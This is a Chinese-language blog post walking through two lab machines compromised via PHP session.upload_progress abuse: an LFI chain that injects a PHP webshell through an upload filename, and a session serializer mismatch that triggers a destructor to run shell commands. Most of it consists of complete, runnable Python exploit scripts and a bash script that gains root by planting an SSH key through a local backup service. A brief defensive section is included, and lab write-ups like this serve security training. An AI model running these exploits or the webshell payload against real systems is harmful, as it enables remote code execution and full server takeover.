从两台靶机入口看php2shell的两条利用链

vulnyx更新了一台hard难度的靶机,入口与群友出的靶机均为利用php2shell进行rce,故用ai撰写一小文以供复现和查阅

两台机器入口不同,但都靠 PHP 的 session.upload_progress 起步:

  • 192.168.56.251 phpblog —— Typecho 博客,Apache + PHP-FPM 8.4.24。入口是两个页面:/usr/themes/classic-22/submit/(投稿上传)和 /usr/themes/classic-22/status/(投稿状态)。
  • 192.168.56.252 BrokenTusk —— nginx + PHP-FPM 8.0.30。入口是一个 LFI:/vuln.php?page=...,源码就是 include($page)。

phpblog 走的是”会话格式错配 → 反序列化 → 析构函数执行命令”(仓库里的 C 链);BrokenTusk 走的是”把 PHP 代码写进会话文件 → 用 LFI 把会话文件当脚本包含”(A 链)。下面先把 php2shell 的共同底座讲清,再分别给两台机器的复现步骤,命令全部可以直接复制。


1. php2shell 的底座:PHP 自己把文件名写进会话文件

1.1 session.upload_progress 做了什么

PHP 有个默认开启的功能,叫 upload progress,作用是让浏览器能看到上传进度条。只要 multipart 表单里带一个名字叫 PHP_SESSION_UPLOAD_PROGRESS 的字段,PHP 就会在你的业务代码执行之前自己 session_start(),然后把”正在传什么文件”写进会话文件。

会话文件路径是 session.save_path + /sess_<PHPSESSID>,默认 /tmp/sess_<PHPSESSID>。

关键在这:写进去的文件名是原样写入的,PHP 不做转义、不校验。所以攻击者控制了文件名,就等于控制了一小段”以后会被 PHP 自己再读回来”的字节。这条写入发生在请求最开头,不登录也能触发。

1.2 会话文件里那段字节长什么样

用 php_serialize 处理器写出来的会话文件大致是这样(后面 phpblog 靶机上的真实内容):

1
2
3
4
a:1:{s:17:"upload_progress_x";a:5:{...s:5:"files";a:1:{i:0;a:7:{
s:10:"field_name";s:5:"draft";
s:4:"name";s:60:"x|O:11:\"TempCleaner\":1:{s:4:\"path\";s:16:\";id;#\";}";
...}}}}

name 字段的值,就是攻击者上传时填的文件名。A 链往这里塞 <?php ... ?>,C 链往这里塞 x|O:11:...。

1.3 写这一步的三个前置条件

  1. session id 自己定。session.use_strict_mode 默认是 0,客户端给的 PHPSESSID 会被直接接受,不用猜。
  2. body 要先发够 5 KB。PHP 按 5 KB 一块(FILLUNIT)解析 multipart,只发完请求头、文件体一个字节都没到,FILE_START 事件不会触发,进度记录根本不会落盘。所以先发至少 5 KB 内容,再把连接挂住。
  3. cleanup 的两种处理。session.upload_progress.cleanup 默认 On,上传一结束记录就被删,所以默认情况下要”挂住上传”,在挂住期间完成后面的动作;如果目标关了 cleanup(phpblog 就是),记录会一直留在会话文件里,事后慢慢用。

1.4 这个洞的底层 bug(B/D/E 链才需要)

PHP 的 emalloc 分配失败时会走 zend_bailout(),一个 longjmp 直接蹦回请求边界,中间的清理全部跳过:

  • 半初始化的结构体、已释放还被引用的指针 → 单请求内 UAF,CVE-2026-109618;
  • 每个请求持有的全局变量被留在半截状态,常驻 worker 的下一个请求复用它 → 跨请求 UAF,CVE-2026-109619。

受影响版本 PHP ≤ 8.4.26、8.5 ≤ 8.5.11,修复版本 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12(commit 31c0ea7)。

仓库把整个 php2shell 拆成五条链:

1
2
3
4
5
A  session_lfi        upload_progress 把 PHP 代码写进会话文件 + LFI 包含           (任意 SAPI,要 LFI)
B unserialize_uaf var_destroy UAF 改函数表 (要能到 unserialize)
C handler_mismatch 写 php_serialize / 读 php,反序列化出对象触发 __destruct (FPM,要 gadget)
D oom_mod_php OOM 泄漏 ASLR + 伪造 HashTable (mod_php)
E fpm_stale_bg FPM 会话解码 OOM 留下脏全局 (FPM,要预置会话)

要点:A 和 C 其实不依赖内存破坏,它们是配置/应用设计问题。PHP 升到 8.4.27 能挡住 B/D/E,挡不住 A 和 C。两台靶机正好一个走 A、一个走 C。

参考:https://github.com/TheCyberGeek/php2shell-research/tree/main


2. BrokenTusk(.252):A 链,LFI 包含会话文件

2.1 先确认 LFI

1
2
3
4
5
6
curl -si "http://192.168.56.252/vuln.php?page=/etc/passwd"
# HTTP/1.1 200 OK
# Server: nginx
# X-Powered-By: PHP/8.0.30
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

源码直接读出来确认 sink:

1
curl -s "http://192.168.56.252/vuln.php?page=php://filter/convert.base64-encode/resource=/var/www/html/vuln.php" | base64 -d

输出:

1
2
3
<?php
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
include($page);

进程身份也读一下:

1
2
3
4
5
curl -s "http://192.168.56.252/vuln.php?page=/proc/self/cmdline"
# php-fpm: pool www

curl -s "http://192.168.56.252/vuln.php?page=/proc/self/status" | grep -i uid
# Uid: 33 33 33 33

web 进程是 www-data(uid 33),官方 php-fpm 镜像风格,/etc/php/8.0/fpm/php.ini 和 /usr/local/etc/php/php.ini 都不存在,session.save_path 走默认 /tmp。

2.2 攻击步骤

第 1 步,发一个”挂住的上传”,文件名里塞 PHP 代码。(下面的内联版;完整可独立运行的脚本见附录 B chain_a_lfi.py)

文件名用 base64 化,避免 multipart 头里的引号、空格被转义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket, time

HOST = "192.168.56.252"
SID = "aaaaaaaaaaaaaaaaaaaaaaaaaa" # 自己定,26 位合法即可
CODE = '<?php system($_GET[0]);?>' # 落进会话文件的 PHP
boundary = "----x"
# 文件名原样写进会话;PHP 会把 multipart 头里的 \" 还原成 ",这里不需要转义
head = (
"--{b}\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nx\r\n"
"--{b}\r\nContent-Disposition: form-data; name=\"f\"; filename=\"{code}\"\r\n\r\n"
).format(b=boundary, code=CODE).encode()
body = head + b"Z" * 8192 # 先发超过 5KB,触发 FILE_START
total = len(body) + 500000 # 声明大长度,挂住不发完

s = socket.create_connection((HOST, 80))
s.sendall((
"POST /vuln.php HTTP/1.1\r\n"
"Host: {h}\r\n"
"Content-Type: multipart/form-data; boundary={b}\r\n"
"Content-Length: {n}\r\n"
"Cookie: PHPSESSID={sid}\r\n"
"Connection: keep-alive\r\n\r\n"
).format(h=HOST, b=boundary, n=total, sid=SID).encode() + body)
# 连接保持打开,别关,别发完 body

第 2 步,趁上传挂着,用 LFI 把会话文件当 PHP 包含。

1
2
curl -s "http://192.168.56.252/vuln.php?page=/tmp/sess_aaaaaaaaaaaaaaaaaaaaaaaaaa&0=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

include() 执行会话文件里的 <?php ... ?> 块,周围的序列化文本作为普通输出打印出来,无害。命令走 $_GET[0] 传进去。

2.3 三个容易卡住的点

  1. 会话文件路径要对。默认 /tmp/sess_<SID>;如果目标改了 session.save_path,先用 LFI 读 php 配置定位。别按默认值硬猜就上报。
  2. cleanup 要处理。默认 On,上传一结束记录被删,所以必须”挂住上传”再 include;如果目标是 cleanup Off,可以传完再慢慢包含。
  3. open_basedir / disable_functions。open_basedir 不含 /tmp 时 include 会报 open_basedir restriction;system 被禁用就换 file_put_contents 写个 webshell 再包含。

3. phpblog(.251):C 链,会话格式错配触发反序列化

3.1 环境

Apache 2.4.68 + PHP-FPM 8.4.24,FPM 池用户是 momo(uid 1000),Typecho 1.3.0。两个页面都不需要登录:

1
2
/usr/themes/classic-22/submit/   投稿上传表单
/usr/themes/classic-22/status/ 投稿状态

submit/.user.ini 里写了:

1
session.serialize_handler=php_serialize

status/ 目录没有这个文件,用全局默认 php。这就是关键:同一个会话文件,写的时候用 php_serialize,读的时候用 php。

status/index.php 的代码(拿到 root 后回读确认过):

1
2
3
4
<?php
require __DIR__ . '/../lib/TempCleaner.php'; // 先把类加载好
session_start(); // 再反序列化会话
$status = $_SESSION['submit_status'] ?? '暂无投稿记录';

lib/TempCleaner.php(还有个 .bak 可以直接下载):

1
2
3
4
5
6
7
8
9
10
11
<?php
class TempCleaner
{
public $path = '';
public function __destruct()
{
if ($this->path !== '') {
system('rm -rf ' . $this->path . ' 2>/dev/null');
}
}
}

3.2 为什么会执行命令

两种 session 处理器对 | 的理解不一样:

  • php 处理器把 | 当分隔符,格式是 键名|序列化值,读的时候按 | 切分;
  • php_serialize 处理器把整个数组一起序列化,| 只是普通字符。

所以 submit 页用 php_serialize 写出来的会话文件里,文件名带的一个 |,会被 status 页的 php 处理器当成”从这里开始是值”,把右边的字节丢给 unserialize()。

右边是 O:11:"TempCleaner":...,正好是前面加载好的类。对象构造出来之后,右边还有一串尾巴导致解析失败,PHP 走清理逻辑,把刚构造的对象销毁——__destruct 被执行,system('rm -rf ' . $path) 里的 $path 拼上 ;命令;# 就成命令执行。

3.3 复现

文件名字段直接填:

1
x|O:11:"TempCleaner":1:{s:4:"path";s:16:";id;whoami;pwd;#";}

完整脚本见附录 A(pentest-192.168.56.251/exp/chain_c_rce.py),一条命令跑:

1
python3 exp/chain_c_rce.py -u http://192.168.56.251 -c "id;whoami;pwd"

输出:

1
2
3
uid=1000(momo) gid=1000(momo) groups=1000(momo)
momo
/var/www/blog/usr/themes/classic-22/status

命令回显出现在页面 HTML 之前,因为 __destruct 在请求收尾时才跑。

脚本里就两步:

1
2
3
4
5
6
7
8
# 1) 挂住上传:PHPSESSID 字段 + 40KB 文件体(>5KB),Content-Length 声明 54 万,不发完
POST /usr/themes/classic-22/submit/
Content-Type: multipart/form-data; boundary=----X
Cookie: PHPSESSID=<sid>

# 2) 触发读:
GET /usr/themes/classic-22/status/
Cookie: PHPSESSID=<sid>

3.4 机制物证

拿到 root 后回读会话文件,name 字段就是注入点:

1
2
root@phpblog:~# cat /tmp/sess_pentestproof000002
a:1:{s:17:"upload_progress_x";a:5:{...s:4:"name";s:60:"x|O:11:"TempCleaner":1:{s:4:"path";s:16:";id;whoami;pwd;#";}";...}}}}

3.5 C 链的精确执行路径

1
2
3
4
5
6
7
php 处理器读 /tmp/sess_<SID>
找到第一个 '|',左边当键名,右边 var_unserialize()
构造出 O:11:"TempCleaner"(path 可控)
右边还有 ";s:8:"tmp_name"... 解析失败,走 break_outer_loop
PHP_VAR_UNSERIALIZE_DESTROY(var_hash)
销毁已构造的对象 → TempCleaner::__destruct()
system('rm -rf ;id;whoami;pwd;# 2>/dev/null')

注意”失败也要执行”这点:反序列化失败不是利用失败,对象已经建好了,清理阶段必须销毁它,析构函数正好在这个点上触发。

3.6 phpblog 的后半段:momo → root

C 链给到的是 momo。这台机器上还有个 blogbackup.service,root 跑的,监听 127.0.0.1:9001,token 直接写在命令行里(ps 能看到)。它读的任务目录 /var/lib/blogbackup/jobs 和源目录 staging 都是 root:momo 组可写,白名单 ALLOWED_DESTS 里含 /root/.ssh/authorized_keys,落盘时 fchown(0,0)。

1
2
3
4
momo 身份写公钥到 /var/lib/blogbackup/staging/root_authorized_keys
momo 写任务 /var/lib/blogbackup/jobs/rootkeys.json(dest=/root/.ssh/authorized_keys)
curl -H 'X-Token: ...' -d '{"id":"rootkeys"}' http://127.0.0.1:9001/restore
ssh -i rootkey root@192.168.56.251

id 输出 uid=0(root),flag 在 /root/7e934684eafe9fe6f1c32d6b06207c7f.txt。这部分是反序列化之后的本地提权,跟 php2shell 本身无关,但决定这台能不能拿到 root。


4. 两条链并排看

1
2
filename ──┬── "<php ... ?>"       → include 包含时执行           (BrokenTusk / A)
└── "x|O:11:..." → session_start 反序列化 (phpblog / C)

同一个写入点,两种弹药,下游 sink 不同:

BrokenTusk (.252) A 链 phpblog (.251) C 链
写会话 upload_progress 文件名注入 <?php upload_progress 文件名注入 |O:
读会话 include($page) session_start() 的 php 处理器
前置 一个 LFI 写读 handler 不一致 + 已加载的析构 gadget
落点 PHP 直接执行代码块 反序列化对象 → __destruct → system
难点 会话路径、open_basedir、cleanup 时序 类没加载 / handler 一致 / 没发够 5KB

phpblog 没有 LFI,A 链用不上;BrokenTusk 的 include 不会反序列化,C 链用不上。php2shell 只负责”把攻击者的字节写进会话文件”,具体怎么变成 RCE,看目标下游是什么。


5. 防御,简单带过

通用:

1
2
3
4
session.upload_progress.enabled = Off
session.use_strict_mode = 1
session.upload_progress.cleanup = On
session.save_path = /var/lib/php/sessions ; 别放 /tmp,别让 web 能 include 到

A 链(BrokenTusk 这类):include 参数做白名单映射,别直接拼 $_GET['page'];open_basedir 排除 /tmp、/proc。

C 链(phpblog 这类):全站统一 session.serialize_handler,别按目录散落 .user.ini;不要在 session_start() 前加载带 __destruct/__wakeup 的类;危险类从 unserialize_allowed_classes 里拿掉;清理类别写 system('rm -rf '.$path) 这种拼接。

版本:升到 8.4.27 / 8.3.36 / 8.2.35 / 8.5.12,挡 B/D/E;A/C 不是版本问题,配置不改照样打。


参考


附录:利用脚本

A. phpblog C 链 RCE —— chain_c_rce.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
phpblog (.251) C 链 RCE:session.serialize_handler 不一致 -> TempCleaner::__destruct
用法:
python3 chain_c_rce.py -u http://192.168.56.251 -c "id;whoami;pwd"
只做只读验证,请勿用本脚本执行破坏性命令。
"""
import argparse
import http.client
import socket
import sys
import time
import uuid
from urllib.parse import urlparse


def parse_url(u):
p = urlparse(u)
tls = p.scheme == "https"
return p.hostname, p.port or (443 if tls else 80), tls


def build(sid, gadget, boundary):
filename = "x|" + gadget.replace('"', '\\"') # PHP 解析 multipart 时把 \" 还原成 "
return (
"--%s\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\n%s\r\n"
"--%s\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nx\r\n"
"--%s\r\nContent-Disposition: form-data; name=\"draft\"; filename=\"%s\"\r\n\r\n"
% (boundary, sid, boundary, boundary, filename)
).encode("latin-1")


def main():
ap = argparse.ArgumentParser(description="Session handler mismatch -> TempCleaner destructor RCE")
ap.add_argument("-u", "--target", required=True, help="http://host[:port]")
ap.add_argument("-c", "--cmd", default="id", help="要执行的命令(默认 id,只读)")
ap.add_argument("--sid", default="", help="自定义 PHPSESSID")
ap.add_argument("--upload-path", default="/usr/themes/classic-22/submit/")
ap.add_argument("--trigger-path", default="/usr/themes/classic-22/status/")
ap.add_argument("--no-stall", action="store_true", help="目标 cleanup=Off 时用完整上传")
a = ap.parse_args()

host, port, tls = parse_url(a.target)
sid = a.sid or ("pentest" + uuid.uuid4().hex[:16])
path = ";" + a.cmd + ";#" # 清理命令无操作数只报错,cmd 照常执行,# 注释掉尾巴
gadget = 'O:11:"TempCleaner":1:{s:4:"path";s:%d:"%s";}' % (len(path), path)
boundary = "----EXPLOIT" + uuid.uuid4().hex[:8]
payload = build(sid, gadget, boundary) + b"Z" * 40000 # >5KB 触发 FILE_START
print("[*] SID :", sid)
print("[*] gadget :", gadget)
print("[*] 注入点 :", a.upload_path, "-> 触发读:", a.trigger_path)

s = socket.create_connection((host, port), timeout=15)
if a.no_stall:
tail = b"\r\n--" + boundary.encode() + b"--\r\n"
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\nContent-Type: multipart/form-data; boundary=%s\r\n"
"Content-Length: %d\r\nCookie: PHPSESSID=%s\r\nConnection: close\r\n\r\n"
% (a.upload_path, host, boundary, len(payload) + len(tail), sid))
s.sendall(hdr.encode() + payload + tail)
s.close()
else:
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\nContent-Type: multipart/form-data; boundary=%s\r\n"
"Content-Length: %d\r\nCookie: PHPSESSID=%s\r\nConnection: close\r\n\r\n"
% (a.upload_path, host, boundary, len(payload) + 500000, sid))
s.sendall(hdr.encode() + payload) # 故意不发完 body,保住进度记录
time.sleep(0.4)
try:
conn = http.client.HTTPConnection(host, port, timeout=20)
conn.request("GET", a.trigger_path, headers={"Cookie": "PHPSESSID=" + sid})
r = conn.getresponse()
text = r.read().decode("utf-8", "replace")
conn.close()
finally:
try:
s.close()
except Exception:
pass

out = text.split("<!doctype")[0]
print("[*] 命令输出 ↓")
print(out.strip() if out.strip() else "(空 —— 检查 SID / serialize handler / cleanup 设置)")
return 0 if out.strip() else 1


if __name__ == "__main__":
sys.exit(main())

自测(只读 id):

1
2
3
$ python3 chain_c_rce.py -u http://192.168.56.251 -c "id"
[*] 命令输出 ↓
uid=1000(momo) gid=1000(momo) groups=1000(momo)

B. BrokenTusk A 链 RCE —— chain_a_lfi.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
BrokenTusk (.252) A 链 RCE:upload_progress 文件名注入 PHP 代码 + LFI 包含会话文件
用法:
python3 chain_a_lfi.py -u http://192.168.56.252 -c "id"
"""
import argparse
import socket
import time
import uuid
import urllib.request
from urllib.parse import urlparse


def parse_url(u):
p = urlparse(u)
return p.hostname, p.port or (80 if p.scheme == "http" else 443), p.scheme


def main():
ap = argparse.ArgumentParser(description="upload_progress filename injection + LFI -> RCE (Phase A)")
ap.add_argument("-u", "--target", required=True, help="http://host[:port]")
ap.add_argument("-c", "--cmd", default="id", help="要执行的命令(走 $_GET[0])")
ap.add_argument("--lfi-path", default="/vuln.php", help="LFI 脚本路径")
ap.add_argument("--session-file", default="", help="会话文件绝对路径(默认 /tmp/sess_<SID>)")
ap.add_argument("--sid", default="", help="自定义 PHPSESSID")
ap.add_argument("--param", default="page", help="LFI 的参数名")
ap.add_argument("--no-stall", action="store_true", help="目标 cleanup=Off 时用完整上传")
a = ap.parse_args()

host, port, scheme = parse_url(a.target)
base = "%s://%s:%d" % (scheme, host, port)
sid = a.sid or ("a" * 26) # 26 位合法会话 id
code = '<?php system($_GET[0]);?>'
session_file = a.session_file or ("/tmp/sess_" + sid)
boundary = "----x" + uuid.uuid4().hex[:8]

head = (
"--%s\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nx\r\n"
"--%s\r\nContent-Disposition: form-data; name=\"f\"; filename=\"%s\"\r\n\r\n"
% (boundary, boundary, code)
).encode()
payload = head + b"Z" * 8192 # >5KB 触发 FILE_START

print("[*] SID :", sid)
print("[*] session file :", session_file)

s = socket.create_connection((host, port), timeout=15)
if a.no_stall:
tail = b"\r\n--" + boundary.encode() + b"--\r\n"
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\nContent-Type: multipart/form-data; boundary=%s\r\n"
"Content-Length: %d\r\nCookie: PHPSESSID=%s\r\nConnection: close\r\n\r\n"
% (a.lfi_path, host, boundary, len(payload) + len(tail), sid))
s.sendall(hdr.encode() + payload + tail)
s.close()
else:
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\nContent-Type: multipart/form-data; boundary=%s\r\n"
"Content-Length: %d\r\nCookie: PHPSESSID=%s\r\nConnection: keep-alive\r\n\r\n"
% (a.lfi_path, host, boundary, len(payload) + 500000, sid))
s.sendall(hdr.encode() + payload) # 挂住,不发完
time.sleep(0.5)

try:
url = "%s%s?%s=%s&0=%s" % (base, a.lfi_path, a.param, session_file, a.cmd)
print("[*] 触发:", url)
req = urllib.request.Request(url, headers={"Cookie": "PHPSESSID=" + sid})
body = urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace")
finally:
try:
s.close()
except Exception:
pass

print("[*] 输出 ↓")
print(body)
return 0


if __name__ == "__main__":
raise SystemExit(main())

C. phpblog 提权 —— blogbackup_privesc.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env bash
# phpblog (.251) 提权:C 链 RCE(momo) -> blogbackup 代理写 /root/.ssh/authorized_keys -> ssh root
set -euo pipefail

TARGET="${1:-http://192.168.56.251}"
TOKEN="9718acaa5e4cf7bcf26a5abdfeb80fa0"
KEY="rootkey"
DIR="$(cd "$(dirname "$0")" && pwd)"

rce() {
python3 "$DIR/chain_c_rce.py" -u "$TARGET" -c "$1"
}

# 1) 生成密钥
if [ ! -f "$KEY" ]; then
ssh-keygen -t ed25519 -f "$KEY" -N '' -C "pentest-$(hostname)" -q
fi
echo "[*] 公钥: $(cat "$KEY.pub")"

# 2) 公钥写进 staging(base64 避开 shell 转义)
B64=$(base64 -w0 "$KEY.pub")
rce "echo $B64 | base64 -d > /var/lib/blogbackup/staging/root_authorized_keys"

# 3) 写任务 JSON(dest = /root/.ssh/authorized_keys)
JOB='{"id":"rootkeys","source":"/var/lib/blogbackup/staging/root_authorized_keys","dest":"/root/.ssh/authorized_keys","schedule":"manual"}'
JOB_B64=$(printf '%s' "$JOB" | base64 -w0)
rce "echo $JOB_B64 | base64 -d > /var/lib/blogbackup/jobs/rootkeys.json"

# 4) 触发 root 代理 restore
rce "curl -s -m 15 -H 'X-Token: $TOKEN' -H 'Content-Type: application/json' -d '{\"id\":\"rootkeys\"}' http://127.0.0.1:9001/restore"

# 5) 登录 root
chmod 600 "$KEY"
ssh -i "$KEY" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.56.251 'id; whoami'

从两台靶机入口看php2shell的两条利用链
http://example.com/2026/11/21/从两台靶机入口看php2shell的两条利用链/
Author
Skyarrow
Posted on
November 21, 2026
Licensed under